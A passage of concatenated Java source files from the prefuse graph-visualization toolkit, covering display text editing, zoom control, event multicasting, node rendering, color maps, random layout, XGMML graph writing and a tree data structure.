public void editText(VisualItem item, String attribute) {
if ( m_editing ) { stopEditing(); }
Rectangle2D b = item.getBounds();
Rectangle r = m_transform.createTransformedShape(b).getBounds();
// hacky placement code that attempts to keep text in same place
// configured under Windows XP and Java 1.4.2b
if ( m_editor instanceof JTextArea ) {
r.y -= 2; r.width += 22; r.height += 2;
} else {
r.x += 3; r.y += 1; r.width -= 5; r.height -= 2;
}
Font f = getFont();
int size = (int)Math.round(f.getSize()*m_transform.getScaleX());
Font nf = new Font(f.getFontName(), f.getStyle(), size);
m_editor.setFont(nf);
editText(item, attribute, r);
} //
/**
* Edit text for the given VisualItem and attribute. Presents a text
* editing widget spaning the given bounding box. Use stopEditing()
* to hide the text widget. When stopEditing() is called, the attribute
* will automatically be updated with the VisualItem.
* @param item the VisualItem to edit
* @param attribute the attribute to edit
* @param r Rectangle representing the desired bounding box of the text
* editing widget
*/
public void editText(VisualItem item, String attribute, Rectangle r) {
if ( m_editing ) { stopEditing(); }
String txt = item.getAttribute(attribute);
m_editItem = item;
m_editAttribute = attribute;
Paint c = item.getColor(), fc = item.getFillColor();
if ( c instanceof Color )
m_editor.setForeground((Color)c);
if ( fc instanceof Color )
m_editor.setBackground((Color)fc);
editText(txt, r);
} //
/**
* Show a text editing widget containing the given text and spanning the
* specified bounding box. Use stopEditing() to hide the text widget. Use
* the method calls getTextEditor().getText() to get the resulting edited
* text.
* @param txt the text string to display in the text widget
* @param r Rectangle representing the desired bounding box of the text
* editing widget
*/
public void editText(String txt, Rectangle r) {
if ( m_editing ) { stopEditing(); }
m_editing = true;
m_editor.setBounds(r.x,r.y,r.width,r.height);
m_editor.setText(txt);
m_editor.setVisible(true);
m_editor.setCaretPosition(txt.length());
m_editor.requestFocus();
} //
/**
* Stops text editing on the display, hiding the text editing widget. If
* the text editor was associated with a specific VisualItem (ie one of the
* editText() methods which include a VisualItem as an argument was called),
* the item is updated with the edited text.
*/
public void stopEditing() {
m_editor.setVisible(false);
if ( m_editItem != null ) {
String txt = m_editor.getText();
m_editItem.setAttribute(m_editAttribute, txt);
m_editItem = null;
m_editAttribute = null;
m_editor.setBackground(null);
m_editor.setForeground(null);
}
m_editing = false;
} //
} // end of class Display
<file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.event.MouseEvent;
import java.awt.geom.Rectangle2D;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
import edu.berkeley.guir.prefuse.util.display.DisplayLib;
/**
* Zooms a display such that all nodes will fit.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ZoomToFitControl extends ControlAdapter {
private int margin;
private int mouseButton = MouseEvent.BUTTON3;
public ZoomToFitControl() {
this(50);
} //
public ZoomToFitControl(int margin) {
this.margin = margin;
} //
public void itemClicked(VisualItem item, MouseEvent e) {
mouseClicked(e);
} //
public void mouseClicked(MouseEvent e) {
if ( e.getButton() == mouseButton ) {
Display display = (Display)e.getComponent();
ItemRegistry registry = display.getRegistry();
Rectangle2D b = DisplayLib.getNodeBounds(registry,margin);
DisplayLib.fitViewToBounds(display, b);
}
} //
} // end of class ZoomToFitControl
<file_sep>package edu.berkeley.guir.prefuse.event;
import java.util.EventListener;
import edu.berkeley.guir.prefuse.activity.Activity;
/**
* Multicaster for ActivityListener calls.
*
* Feb 16, 2004 - jheer - Created class
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ActivityEventMulticaster extends EventMulticaster
implements ActivityListener
{
public static ActivityListener add(ActivityListener a, ActivityListener b) {
return (ActivityListener) addInternal(a, b);
} //
public static ActivityListener remove(
ActivityListener l,
ActivityListener oldl) {
return (ActivityListener) removeInternal(l, oldl);
} //
public void activityScheduled(Activity ac) {
((ActivityListener) a).activityScheduled(ac);
((ActivityListener) b).activityScheduled(ac);
} //
public void activityStarted(Activity ac) {
((ActivityListener) a).activityStarted(ac);
((ActivityListener) b).activityStarted(ac);
} //
public void activityStepped(Activity ac) {
((ActivityListener) a).activityStepped(ac);
((ActivityListener) b).activityStepped(ac);
} //
public void activityFinished(Activity ac) {
((ActivityListener) a).activityFinished(ac);
((ActivityListener) b).activityFinished(ac);
} //
public void activityCancelled(Activity ac) {
((ActivityListener) a).activityCancelled(ac);
((ActivityListener) b).activityCancelled(ac);
} //
protected static EventListener addInternal(
EventListener a, EventListener b)
{
if (a == null)
return b;
if (b == null)
return a;
return new ActivityEventMulticaster(a, b);
} //
protected EventListener remove(EventListener oldl) {
if (oldl == a)
return b;
if (oldl == b)
return a;
EventListener a2 = removeInternal(a, oldl);
EventListener b2 = removeInternal(b, oldl);
if (a2 == a && b2 == b) {
return this; // it's not here
}
return addInternal(a2, b2);
} //
protected ActivityEventMulticaster(EventListener a, EventListener b) {
super(a,b);
} //
} // end of class ActivityEventMulticaster
<file_sep>package edu.berkeley.guir.prefuse.render;
import java.awt.Shape;
import java.awt.geom.Ellipse2D;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* A default implementation of a node renderer that draws itself as a circle.
*
* @author alann
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultNodeRenderer extends ShapeRenderer {
private int m_radius = 5;
private Ellipse2D m_circle =
new Ellipse2D.Double(0, 0, 2 * m_radius, 2 * m_radius);
/**
* Creates a new DefaultNodeRenderer with default base
* radius (5 pixels).
*/
public DefaultNodeRenderer() {
} //
/**
* Creates a new DefaultNodeRenderer with given base radius.
* @param r the base radius for node circles
*/
public DefaultNodeRenderer(int r) {
setRadius(r);
} //
/**
* Sets the radius of the circle drawn to represent a node.
* @param r the radius value to set
*/
public void setRadius(int r) {
m_radius = r;
m_circle.setFrameFromCenter(0,0,r,r);
} //
/**
* Gets the radius of the circle drawn to represent a node.
* @return the radius value
*/
public int getRadius() {
return m_radius;
} //
/**
* @see edu.berkeley.guir.prefuse.render.ShapeRenderer#getRawShape(edu.berkeley.guir.prefuse.VisualItem)
*/
protected Shape getRawShape(VisualItem item) {
double r = m_radius * item.getSize();
double x = item.getX(), y = item.getY();
if ( Double.isNaN(x) ) x = 0.0;
if ( Double.isNaN(y) ) y = 0.0;
m_circle.setFrameFromCenter(x,y,x+r,y+r);
return m_circle;
} //
} // end of class DefaultNodeRenderer
<file_sep>package edu.berkeley.guir.prefuse.graph;
import edu.berkeley.guir.prefuse.graph.event.GraphEventListener;
import edu.berkeley.guir.prefuse.graph.event.GraphEventMulticaster;
/**
* Skeletal graph implementation handling graph listener methods.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public abstract class AbstractGraph implements Graph {
protected GraphEventListener m_graphListener = null;
/**
* Add a graph event listener.
* @param gl the listener to add.
*/
public void addGraphEventListener(GraphEventListener gl) {
m_graphListener = GraphEventMulticaster.add(m_graphListener, gl);
} //
/**
* Remove a focus listener.
* @param gl the listener to remove.
*/
public void removeGraphEventListener(GraphEventListener gl) {
m_graphListener = GraphEventMulticaster.remove(m_graphListener, gl);
} //
protected void fireNodeAdded(Node n) {
if ( m_graphListener != null )
m_graphListener.nodeAdded(this, n);
} //
protected void fireNodeRemoved(Node n) {
if ( m_graphListener != null )
m_graphListener.nodeRemoved(this, n);
} //
protected void fireNodeReplaced(Node o, Node n) {
if ( m_graphListener != null )
m_graphListener.nodeReplaced(this,o,n);
} //
protected void fireEdgeAdded(Edge e) {
if ( m_graphListener != null )
m_graphListener.edgeAdded(this, e);
} //
protected void fireEdgeRemoved(Edge e) {
if ( m_graphListener != null )
m_graphListener.edgeRemoved(this, e);
} //
protected void fireEdgeReplaced(Edge o, Edge n) {
if ( m_graphListener != null )
m_graphListener.edgeReplaced(this, o,n);
} //
} // end of class AbstractGraph
<file_sep>package edu.berkeley.guir.prefuse.util;
import java.awt.Color;
import java.awt.Paint;
/**
* A color map provides a mapping from numeric values to specific colors.
* This useful for assigning colors to visualized items. The numeric values
* may represent different categories (i.e. nominal variables) or run along
* a spectrum of values (i.e. quantitative variables).
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ColorMap {
/**
* Default palette of category hues.
*/
public static final float[] CATEGORY_HUES = {
0f, 1f/12f, 1f/6f, 5f/24f, 1f/3f, 1f/2f, 2f/3f, 3f/4f, 5f/6f, 11f/12f
};
/**
* The default length of a color map array if its size
* is not otherwise specified.
*/
public static final int DEFAULT_MAP_SIZE = 64;
private Paint colorMap[];
private double minValue, maxValue;
/**
* Creates a new ColorMap instance using the given internal color map
* array and minimum and maximum index values.
* @param map a Paint array constituing the color map
* @param min the minimum value in the color map
* @param max the maximum value in the color map
*/
public ColorMap(Paint[] map, double min, double max) {
colorMap = map;
minValue = min;
maxValue = max;
} //
/**
* Returns the color associated with the given value. If the value
* is outside the range defined by this map's minimum or maximum
* values, a saturated value is returned (i.e. the first entry
* in the color map for values below the minimum, the last enty
* for value above the maximum).
* @param val the value for which to retrieve the corresponding color
* @return the color (as a Paint instance) corresponding the given value
*/
public Paint getColor(double val) {
if ( val < minValue ) {
return colorMap[0];
} else if ( val > maxValue ) {
return colorMap[colorMap.length-1];
} else {
int idx = (int)Math.round((colorMap.length-1) *
(val-minValue)/(maxValue-minValue));
return colorMap[idx];
}
} //
/**
* Sets the internal color map, an array of Paint values.
* @return Returns the colormap.
*/
public Paint[] getColorMap() {
return colorMap;
} //
/**
* Sets the internal color map, an array of Paint values.
* @param colorMap The new colormap.
*/
public void setColorMap(Paint[] colorMap) {
this.colorMap = colorMap;
} //
/**
* Gets the maximum value that corresponds to the last
* color in the color map.
* @return Returns the max index value into the colormap.
*/
public double getMaxValue() {
return maxValue;
} //
/**
* Sets the maximum value that corresponds to the last
* color in the color map.
* @param maxValue The max index value to set.
*/
public void setMaxValue(double maxValue) {
this.maxValue = maxValue;
} //
/**
* Sets the minimum value that corresponds to the first
* color in the color map.
* @return Returns the min index value.
*/
public double getMinValue() {
return minValue;
} //
/**
* Gets the minimum value that corresponds to the first
* color in the color map.
* @param minValue The min index value to set.
*/
public void setMinValue(double minValue) {
this.minValue = minValue;
} //
/**
* Returns a color map array of default size that ranges from black to
* white through shades of gray.
* @return the color map array
*/
public static Paint[] getGrayscaleMap() {
return getGrayscaleMap(DEFAULT_MAP_SIZE);
} //
/**
* /**
* Returns a color map array of specified size that ranges from black to
* white through shades of gray.
* @param size the size of the color map array
* @return the color map array
*/
public static Paint[] getGrayscaleMap(int size) {
Paint[] cm = new Paint[size];
for ( int i=0; i<size; i++ ) {
float g = ((float)i)/(size-1);
cm[i] = ColorLib.getColor(g,g,g,1.f);
}
return cm;
} //
/**
* Returns a color map array of default size that ranges from one
* given color to the other.
* @param c1 the initial color in the color map
* @param c2 the final color in the color map
* @return the color map array
*/
public static Paint[] getInterpolatedMap(Color c1, Color c2) {
return getInterpolatedMap(DEFAULT_MAP_SIZE, c1, c2);
} //
/**
* Returns a color map array of given size that ranges from one
* given color to the other.
* @param size the size of the color map array
* @param c1 the initial color in the color map
* @param c2 the final color in the color map
* @return the color map array
*/
public static Paint[] getInterpolatedMap(int size, Color c1, Color c2) {
Paint[] cm = new Paint[size];
for ( int i=0; i<size; i++ ) {
float f = ((float)i)/(size-1);
cm[i] = ColorLib.getIntermediateColor(c1,c2,f);
}
return cm;
} //
/**
* Returns a color map array of default size that cycles through
* the hues of the HSB (Hue/Saturation/Brightness) color space at
* full saturation and brightness.
* @return the color map array
*/
public static Paint[] getHSBMap() {
return getHSBMap(DEFAULT_MAP_SIZE, 1.f, 1.f);
} //
/**
* Returns a color map array of given size that cycles through
* the hues of the HSB (Hue/Saturation/Brightness) color space.
* @param size the size of the color map array
* @param s the saturation value to use
* @param b the brightness value to use
* @return the color map array
*/
public static Paint[] getHSBMap(int size, float s, float b) {
Paint[] cm = new Paint[size];
for ( int i=0; i<size; i++ ) {
float h = ((float)i)/(size-1);
cm[i] = ColorLib.getColor(Color.HSBtoRGB(h,s,b));
}
return cm;
} //
/**
* Returns a color map array of given size tries to provide colors
* appropriate as category labels. There are 12 basic color hues
* (red, orange, yellow, olive, green, cyan, blue, purple, magenta,
* and pink). If the size is greater than 12, these colors will be
* continually repeated, but with varying saturation levels.
* @param size the size of the color map array
*/
public static Paint[] getCategoryMap(int size) {
return getCategoryMap(size, 1.f, 0.4f, 1.f, 255);
} //
/**
* Returns a color map array of given size tries to provide colors
* appropriate as category labels. There are 12 basic color hues
* (red, orange, yellow, olive, green, cyan, blue, purple, magenta,
* and pink). If the size is greater than 12, these colors will be
* continually repeated, but with varying saturation levels.
* @param size the size of the color map array
* @param s1 the initial saturation to use
* @param s2 the final (most distant) saturation to use
* @param b the brightness value to use
* @param a the alpha value to use
*/
public static Paint[] getCategoryMap(int size,
float s1, float s2, float b, int a)
{
Paint[] cm = new Paint[size];
float s = s1;
for ( int i=0; i<size; i++ ) {
int j = i % CATEGORY_HUES.length;
if ( j == 0 )
s = s1 + (((float)i)/size)*(s2-s1);
int color = ((0xFF & a)<<24) |
(0x00FFFFFF & Color.HSBtoRGB(CATEGORY_HUES[j],s,b));
cm[i] = ColorLib.getColor(color);
}
return cm;
} //
/**
* Returns a color map of default size that moves from black to
* red to yellow to white.
* @return the color map array
*/
public static Paint[] getHotMap() {
return getHotMap(DEFAULT_MAP_SIZE);
} //
/**
* Returns a color map that moves from black to red to yellow
* to white.
* @param size the size of the color map array
* @return the color map array
*/
public static Paint[] getHotMap(int size) {
Paint[] cm = new Paint[size];
for ( int i=0; i<size; i++ ) {
int n = (3*size)/8;
float r = ( i<n ? ((float)(i+1))/n : 1.f );
float g = ( i<n ? 0.f : ( i<2*n ? ((float)(i-n))/n : 1.f ));
float b = ( i<2*n ? 0.f : ((float)(i-2*n))/(size-2*n) );
cm[i] = ColorLib.getColor(r,g,b,1.0f);
}
return cm;
} //
/**
* Returns a color map array of default size that uses a "cool",
* blue-heavy color scheme.
* @return the color map array
*/
public static Paint[] getCoolMap() {
return getCoolMap(DEFAULT_MAP_SIZE);
} //
/**
* Returns a color map array that uses a "cool",
* blue-heavy color scheme.
* @param size the size of the color map array
* @return the color map array
*/
public static Paint[] getCoolMap(int size) {
Paint[] cm = new Paint[size];
for( int i=0; i<size; i++ ) {
float r = ((float)i) / Math.max(size-1,1.f);
cm[i] = ColorLib.getColor(r,1-r,1.f,1.f);
}
return cm;
} //
} // end of class ColorMap
<file_sep>package edu.berkeley.guir.prefusex.layout;
import java.awt.geom.Rectangle2D;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.action.assignment.Layout;
/**
* Performs a random layout of graph nodes within the layout's bounds.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class RandomLayout extends Layout {
public void run(ItemRegistry registry, double frac) {
Rectangle2D b = getLayoutBounds(registry);
double x, y;
double w = b.getWidth();
double h = b.getHeight();
Iterator nodeIter = registry.getNodeItems();
while ( nodeIter.hasNext() ) {
VisualItem item = (VisualItem)nodeIter.next();
x = b.getX() + Math.random()*w;
y = b.getY() + Math.random()*h;
setLocation(item,null,x,y);
}
} //
} // end of class RandomLayout
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.Date;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Node;
import edu.berkeley.guir.prefuse.util.XMLLib;
/**
* Writes out a graph to an XGMML-format XML file. See
* <a href="http://www.cs.rpi.edu/~puninj/XGMML/">www.cs.rpi.edu/~puninj/XGMML/</a>
* for a description of the XGMML format.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> - prefuse(AT)jheer.org
*/
public class XMLGraphWriter extends AbstractGraphWriter {
public static final String NODE = "node";
public static final String EDGE = "edge";
public static final String ATT = "att";
public static final String ID = "id";
public static final String LABEL = "label";
public static final String SOURCE = "source";
public static final String TARGET = "target";
public static final String WEIGHT = "weight";
public static final String TYPE = "type";
public static final String NAME = "name";
public static final String VALUE = "value";
public static final String LIST = "list";
public static final String GRAPH = "graph";
public static final String DIRECTED = "directed";
public static final String NODE_ATTR[] = {ID, LABEL, WEIGHT};
public static final String EDGE_ATTR[] = {LABEL, WEIGHT };
/**
* @see edu.berkeley.guir.prefuse.graph.io.GraphWriter#writeGraph(edu.berkeley.guir.prefuse.graph.Graph, java.io.OutputStream)
*/
public void writeGraph(Graph g, OutputStream os) throws IOException {
PrintWriter pw = new PrintWriter(new BufferedOutputStream(os));
assignIDs(g);
printGraph(pw, g);
pw.flush();
} //
protected void assignIDs(Graph g) {
Set ids = initializeIDs(g);
int curID = 0;
String id;
Iterator nodeIter = g.getNodes();
while ( nodeIter.hasNext() ) {
Node n = (Node)nodeIter.next();
if ( n.getAttribute(ID) == null ) {
do {
id = String.valueOf(++curID);
} while ( ids.contains(id) );
n.setAttribute(ID, id);
}
}
} //
private Set initializeIDs(Graph g) {
Set s = new HashSet(g.getNodeCount()/2);
String a;
Iterator nodeIter = g.getNodes();
while ( nodeIter.hasNext() ) {
Node n = (Node)nodeIter.next();
if ( (a=n.getAttribute(ID)) != null )
s.add(a);
}
return s;
} //
private void printGraph(PrintWriter pw, Graph g) {
int directed = g.isDirected() ? 1 : 0;
pw.println("<!-- prefuse graph writer :: " + (new Date()) + " -->");
pw.println("<"+GRAPH+" "+DIRECTED+"=\""+directed+"\">");
pw.println(" <!-- nodes -->");
Iterator nodeIter = g.getNodes();
while ( nodeIter.hasNext() ) {
Node n = (Node)nodeIter.next();
printNode(pw, n);
}
pw.println(" <!-- edges -->");
Iterator edgeIter = g.getEdges();
while ( edgeIter.hasNext() ) {
Edge e = (Edge)edgeIter.next();
printEdge(pw, e);
}
pw.println("</graph>");
} //
private void printNode(PrintWriter pw, Node n) {
pw.print(" <"+NODE);
for ( int i = 0; i < NODE_ATTR.length; i++ ) {
String key = NODE_ATTR[i];
String val = n.getAttribute(key);
if ( val != null )
pw.print(" "+key+"=\""+XMLLib.EscapeString(val)+"\"");
}
pw.print(">");
Map attr = n.getAttributes();
Iterator attrIter = attr.keySet().iterator();
boolean hadAttr = false;
while ( attrIter.hasNext() ) {
String key = (String)attrIter.next();
if ( contains(NODE_ATTR, key) ) continue;
String val = XMLLib.EscapeString((String)attr.get(key));
if ( !hadAttr ) {
pw.println(); hadAttr = true;
}
printAttr(pw, key, val);
}
pw.println(" </"+NODE+">");
} //
private void printEdge(PrintWriter pw, Edge e) {
String source = e.getFirstNode().getAttribute(ID);
String target = e.getSecondNode().getAttribute(ID);
pw.print(" <"+EDGE);
pw.print(" "+SOURCE+"=\""+source+"\"");
pw.print(" "+TARGET+"=\""+target+"\"");
for ( int i = 0; i < EDGE_ATTR.length; i++ ) {
String key = EDGE_ATTR[i];
String val = e.getAttribute(key);
if ( val != null )
pw.print(" "+key+"=\""+XMLLib.EscapeString(val)+"\"");
}
pw.print(">");
Map attr = e.getAttributes();
Iterator attrIter = attr.keySet().iterator();
boolean hadAttr = false;
while ( attrIter.hasNext() ) {
String key = (String)attrIter.next();
if ( contains(EDGE_ATTR, key) ) continue;
String val = XMLLib.EscapeString((String)attr.get(key));
if ( !hadAttr ) {
pw.println(); hadAttr = true;
}
printAttr(pw, key, val);
}
pw.println(" </"+EDGE+">");
} //
private void printAttr(PrintWriter pw, String key, String val) {
pw.println(" <"+ATT+" "+NAME+"=\""+key+"\" "+VALUE+"=\""+val+"\"/>");
} //
private boolean contains(String list[], String item) {
for ( int i = 0; i < list.length; i++ ) {
if ( list[i].equals(item) )
return true;
}
return false;
} //
} // end of class XMLGraphWriter
<file_sep>package edu.berkeley.guir.prefuse.graph;
import java.util.Collections;
import java.util.Iterator;
import java.util.LinkedList;
import edu.berkeley.guir.prefuse.collections.BreadthFirstTreeIterator;
import edu.berkeley.guir.prefuse.collections.TreeEdgeIterator;
/**
* Class for representing a tree structure. A tree is an undirected graph
* without any cycles. Furthermore, our tree implementation assumes some level
* of orientation, distinguishing between parent and children nodes.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultTree extends AbstractGraph implements Tree {
protected TreeNode m_root;
/**
* Constructor.
* @param root
*/
public DefaultTree(TreeNode root) {
m_root = root;
} //
public DefaultTree() {
m_root = null;
} //
/**
* Indicates if this graph is directed or undirected. DefaultTree
* imposes that the tree be an undirected graph.
* @see edu.berkeley.guir.prefuse.graph.Graph#isDirected()
*/
public boolean isDirected() {
return false;
} //
/**
* Set a new root for the tree. This root should be a node <i>already</i>
* contained in the tree. This method allows the parent-child
* relationships to be changed as necessary without changing the actual
* topology of the graph.
* @param root the new tree root. Should be contained in this tree.
*/
public void changeRoot(TreeNode root) {
if ( !contains(root) ) {
throw new IllegalArgumentException(
"The new root must already be in the tree");
}
TreeNode n = root;
LinkedList queue = new LinkedList();
for ( TreeNode p = n; p != null; p = p.getParent() ) {
queue.addFirst(p);
if ( p == m_root ) break;
}
Iterator iter = queue.iterator();
TreeNode p = (TreeNode)iter.next();
while ( iter.hasNext() ) {
TreeNode c = (TreeNode)iter.next();
// perform parent swap
int cidx = p.getChildIndex(c);
Edge e = p.getChildEdge(cidx);
p.removeAsChild(cidx);
p.setParentEdge(e);
c.setAsChild(GraphLib.nearestIndex(c,p), p);
p = c;
}
m_root = root;
} //
public void setRoot(TreeNode root) {
if ( root != m_root ) {
TreeNode proot = m_root;
m_root = root;
fireNodeRemoved(proot);
if ( root != null )
fireNodeAdded(root);
}
} //
/**
* Returns the number of nodes in the tree.
* @see edu.berkeley.guir.prefuse.graph.Graph#getNodeCount()
*/
public int getNodeCount() {
return ( m_root == null ? 0 : m_root.getDescendantCount() + 1 );
} //
/**
* Returns the number of edges in the tree. This is always the number of
* nodes minus one.
* @see edu.berkeley.guir.prefuse.graph.Graph#getEdgeCount()
*/
public int getEdgeCount() {
return Math.max(0, getNodeCount()-1);
} //
/**
* Returns a breadth-first iteration of the tree nodes.
* Currently this is neither thread-safe nor fail-fast, so beware.
* @return Iterator
*/
public Iterator getNodes() {
if ( m_root == null ) {
return Collections.EMPTY_LIST.iterator();
} else {
return new BreadthFirstTreeIterator(m_root);
}
} //
/**
* Returns the edges of the tree in breadth-first-order. Currently
* this is neither thread-safe nor fail-fast, so beware.
* @see edu.berkeley.guir.prefuse.graph.Graph#getEdges()
*/
public Iterator getEdges() {
return new TreeEdgeIterator(this.getNodes());
} //
/**
* Returns the root node of the tree.
* @return TreeNode
*/
public TreeNode getRoot() {
return m_root;
} //
/**
* Returns the depth of the given node in this tree
* Returns -1 if the node is not in this tree
* @return int
*/
public int getDepth(TreeNode n) {
int depth = 0;
TreeNode p = n;
while ( p != m_root && p != null ) {
depth++;
p = p.getParent();
}
return ( p == null ? -1 : depth );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Tree#addChild(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addChild(Edge e) {
TreeNode n1 = (TreeNode)e.getFirstNode();
TreeNode n2 = (TreeNode)e.getSecondNode();
TreeNode p = (contains(n1) ? n1 : n2);
TreeNode c = (p==n1 ? n2 : n1);
if ( e.isDirected() || !contains(p) || contains(c) )
return false;
p.addChild(e);
fireNodeAdded(c);
fireEdgeAdded(e);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Tree#addChild(edu.berkeley.guir.prefuse.graph.Node, edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean addChild(Node parent, Node child) {
return addChild(new DefaultEdge(parent, child));
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Tree#removeChild(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean removeChild(Edge e) {
TreeNode n1 = (TreeNode)e.getFirstNode();
TreeNode n2 = (TreeNode)e.getSecondNode();
if ( !contains(n1) || !contains(n2) )
return false;
int idx;
TreeNode p, c;
if ( (idx=n1.getChildIndex(e)) > -1 ) {
p = n1; c = n2;
} else if ( (idx=n2.getChildIndex(e)) > -1 ) {
p = n2; c = n1;
} else {
return false;
}
p.removeChild(idx);
fireEdgeRemoved(e);
fireNodeRemoved(c);
return true;
} //
/**
* This operation is not supported by DefaultTree.
* Use <tt>setRoot()</tt> or <tt>addChild()</tt> instead.
* @throws UnsupportedOperationException upon invocation
* @see edu.berkeley.guir.prefuse.graph.Graph#addNode(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean addNode(Node n) {
throw new UnsupportedOperationException("DefaultTree does not support"
+ " addNode(). Use setRoot() or addChild() instead");
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#addEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(Edge e) {
if ( e.isDirected() ) {
throw new IllegalStateException(
"Directedness of edge and graph differ");
}
Node n1 = (Node)e.getFirstNode();
Node n2 = (Node)e.getSecondNode();
if ( !contains(n1) || !contains(n2) ||
n1.isNeighbor(n2) || n2.isNeighbor(n1) ) {
return false;
}
n1.addEdge(e);
n2.addEdge(e);
fireEdgeAdded(e);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#removeNode(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean removeNode(Node n) {
if ( !contains(n) )
return false;
if ( n == m_root )
m_root = null;
else
((TreeNode)n).getParent().removeChild((TreeNode)n);
fireNodeRemoved(n);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#removeEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean removeEdge(Edge e) {
if ( !contains(e) )
return false;
TreeNode n1 = (TreeNode)e.getFirstNode();
TreeNode n2 = (TreeNode)e.getSecondNode();
if ( !e.isTreeEdge() ) {
n1.removeEdge(e);
n2.removeEdge(e);
fireEdgeRemoved(e);
} else if ( n1 == m_root || n2 == m_root ) {
Node tmp = m_root;
m_root = null;
fireNodeRemoved(tmp);
} else {
TreeNode p = (n1.getParent() == n2? n2 : n1);
p.removeChildEdge(e);
fireNodeRemoved(e.getAdjacentNode(p));
}
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#replaceNode(edu.berkeley.guir.prefuse.graph.Node, edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean replaceNode(Node prev, Node next) {
if ( next.getEdgeCount() > 0 || !contains(prev) || contains(next) )
return false;
if ( !(next instanceof TreeNode) )
throw new IllegalArgumentException("Node next must be a TreeNode");
TreeNode tprev = (TreeNode)prev;
TreeNode tnext = (TreeNode)next;
// redirect all edges
Iterator iter = tprev.getEdges();
while ( iter.hasNext() ) {
Edge e = (Edge)iter.next();
if ( e.getFirstNode() == tprev )
e.setFirstNode(tnext);
else
e.setSecondNode(tnext);
tnext.addEdge(e);
}
// add children edges to replacement nodes
iter = tprev.getChildEdges();
while ( iter.hasNext() ) {
Edge e = (Edge)iter.next();
tnext.addChild(e);
}
((TreeNode)prev).removeAllAsChildren();
prev.removeAllNeighbors();
if ( tprev == m_root )
setRoot(tnext);
fireNodeReplaced(prev, next);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#replaceEdge(edu.berkeley.guir.prefuse.graph.Edge, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean replaceEdge(Edge prev, Edge next) {
boolean rv = contains(prev) && !contains(next) && !next.isDirected();
if ( !rv ) return false;
Node p1 = prev.getFirstNode(), p2 = prev.getSecondNode();
Node n1 = next.getFirstNode(), n2 = next.getSecondNode();
rv = (p1==n1 && p2==n2) || (p1==n2 && p2==n1);
if ( rv ) {
int idx = p1.getIndex(prev);
p1.removeEdge(idx);
p1.addEdge(idx, next);
idx = p2.getIndex(prev);
p2.removeEdge(idx);
p2.addEdge(idx, next);
fireEdgeReplaced(prev, next);
return true;
}
return false;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#contains(edu.berkeley.guir.prefuse.graph.Node)
*/
public boolean contains(Node n) {
if ( n instanceof TreeNode ) {
for ( TreeNode p = (TreeNode)n; p != null; p = p.getParent() )
if ( p != null && p == m_root ) return true;
}
return false;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.Graph#contains(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean contains(Edge e) {
Node n = e.getFirstNode();
return ( contains(n) && n.isIncidentEdge(e) );
} //
} // end of class DefaultTree
<file_sep>package edu.berkeley.guir.prefuse.action.filter;
/**
* Signals the <code>ItemRegistry</code> to perform a garbage collection
* operation. The class type of the <code>VisualItem</code> to garbage
* collect must be specified through the constructor and/or
* <code>addItemClass()</code> method.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class GarbageCollector extends Filter {
/**
* Creates a new instance that signals garbage collection for the given
* item class.
* @param itemClass the item class to garbage collect
*/
public GarbageCollector(String itemClass) {
super(itemClass, true);
} //
/**
* Creates a new instance that signals garbage collection for the given
* item classes.
* @param itemClasses the item classes to garbage collect
*/
public GarbageCollector(String[] itemClasses) {
super(itemClasses, true);
} //
} // end of class GarbageCollector
<file_sep>package edu.berkeley.guir.prefuse.graph.external;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.graph.DefaultTreeNode;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Node;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
